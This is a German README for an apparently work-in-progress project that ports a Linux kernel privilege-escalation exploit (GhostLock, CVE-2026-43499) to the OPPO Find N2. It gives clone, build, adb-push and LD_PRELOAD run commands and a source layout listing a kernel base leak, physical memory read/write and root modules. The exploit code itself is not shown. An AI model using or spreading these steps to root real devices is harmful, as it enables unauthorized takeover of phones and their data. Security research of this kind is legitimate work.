
OPPO Find N2 GhostLock (CVE-2026-43499) Exploit-Adaption
GhostLock CVE-2026-43499 — OPPO Find N2 Linux-Kernel-Privilegieneskalation-Forschung
GhostLock (CVE-2026-43499) ist eine Kernel-Stack-UAF-Schwachstelle, die Linux 2.6.39 bis 7.1-rc1 betrifft und durch eine Race Condition in FUTEX_CMP_REQUEUE_PI ausgelöst wird. Dieses Projekt portiert den x86_64-Exploit von NebuSec/CyberMeowfia auf das OPPO Find N2 (ARM64, Kernel 5.10.236).
In Iteration — Mehrere Exploit-Phasen wurden erfolgreich verifiziert, aber der zentrale Blockierungspunkt (CFI-Bypass / Kernel-Schreibprimitive) wurde noch nicht durchbrochen.
FUTEX_CMP_REQUEUE_PI ret=0git clone https://github.com/pubglite55/oppofindN2-ghostlock.git
cd oppofindN2-ghostlock
export NDK=/usr/local/Caskroom/android-ndk/29/AndroidNDK14206865.app/Contents/NDK
cd exploit/
make clean && make NDK=$NDK
adb push preload.so /data/local/tmp/
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/ls /dev/null' 2>&1
oppofindN2-ghostlock/
├── exploit/
│ ├── src/
│ │ ├── main.c # Haupteinstieg, GhostLock-Auslösung
│ │ ├── fops.c # pselect fake lock + kernel base leak
│ │ ├── pipe.c # pipe physisches Lesen/Schreiben
│ │ ├── root.c # root-Privilegieneskalation
│ │ ├── util.c # Hilfsfunktionen
│ │ └── kernelsnitch/ # mm_struct-Leak
│ ├── targets/ # Geräte-Offset-Definitionen
│ └── Makefile
└── README.md
Dieses Projekt steht unter der MIT-Lizenz.